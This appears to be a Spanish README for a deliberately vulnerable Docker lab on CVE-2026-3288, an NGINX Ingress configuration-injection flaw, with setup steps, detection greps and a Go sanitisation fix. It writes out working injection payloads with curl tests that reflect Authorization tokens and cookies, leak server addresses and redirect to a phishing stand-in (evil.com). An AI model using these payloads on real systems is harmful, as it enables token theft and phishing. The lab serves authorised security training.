# Laboratorio vulnerable basado en Docker para CVE-2026-3288, inyección de configuración en NGINX Ingress, con scripts de explotación, monitoreo de detección y guía de remediación para formación de seguridad autorizada.
⚠️ ADVERTENCIA: Este laboratorio contiene configuraciones intencionalmente vulnerables para SOLO ENTRENAMIENTO DE SEGURIDAD AUTORIZADO
CVE-2026-3288 (CVSS 8.8 ALTO) - Inyección de configuración en NGINX Ingress Controller
") en la configuración de rutasLa función buildProxyPass() no sanitiza la entrada de rutas antes de interpolar en la configuración de nginx, permitiendo a los atacantes escapar de cadenas entre comillas e inyectar directivas arbitrarias de nginx.
CVE-2026-3288-lab/
├── README.md # Este archivo
├── docker-compose.yml # Configuración principal del laboratorio
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Configuración NGINX vulnerable
│ │ ├── nginx.conf # Configuración base
│ │ └── vulnerable-config.conf # Manejo de rutas vulnerable
│ └── backend/
│ ├── Dockerfile # Aplicación backend simple
│ └── app.py # Aplicación Flask
├── exploits/
│ ├── exploit.py # Script de explotación automatizado
│ ├── payloads.txt # Colección de payloads de explotación
│ └── test-exploits.sh # Probar todos los exploits
├── detection/
│ └── monitor-logs.sh # Monitorear intentos de explotación
└── cleanup/
└── cleanup.sh # Eliminar todos los recursos del laboratorio
cd CVE-2026-3288-lab
# Iniciar entorno vulnerable
docker-compose up -d
# Verificar estado
docker-compose ps
# Probar que el backend está funcionando
curl http://localhost:8080/
# Probar que NGINX está funcionando
curl http://localhost/
cd exploits
# Explotación automatizada
python3 exploit.py --all
# O probar exploits individuales
bash test-exploits.sh
# Ver logs de NGINX para explotación
docker-compose logs -f nginx
# Monitorear detección
cd detection
bash monitor-logs.sh
docker-compose down -v
Inyectar la directiva return de nginx para servir contenido controlado por el atacante.
Payload:
/api" return 200 "HACKED BY ATTACKER
Prueba:
curl 'http://localhost/api" return 200 "HACKED'
Reflejar los encabezados de Authorization en la respuesta para robar tokens Bearer.
Payload:
/login" return 200 "Token: $http_authorization
Prueba:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Redirigir a los usuarios a un sitio de phishing controlado por el atacante.
Payload:
/" return 302 "https://evil.com/phishing
Prueba:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Filtrar información interna del servidor.
Payload:
/" return 200 "Internal IP: $server_addr
Prueba:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Robar cookies de sesión.
Payload:
/" return 200 "Cookies: $http_cookie
Prueba:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Configuración vulnerable
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
Cuando la ruta contiene ", rompe la cadena entre comillas:
# Entrada del atacante: /api" return 200 "HACKED
# Resultado:
location ~ "^/api" return 200 "HACKED" {
# La configuración original ahora está rota
}
# Buscar patrones sospechosos
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# Verificar la configuración de NGINX para directivas inyectadas
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" y \// Antes (vulnerable)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// Después (corregido)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
Después de completar este laboratorio, entenderás:
# Ver logs
docker-compose logs
# Reiniciar
docker-compose restart
# Cambiar puertos en docker-compose.yml
# O detener servicios en conflicto
sudo lsof -i :80
# Verificar que NGINX está funcionando
docker-compose ps nginx
# Verificar la configuración de NGINX
docker exec cve-2026-3288-nginx nginx -t
Creado solo para fines autorizados de entrenamiento e investigación en seguridad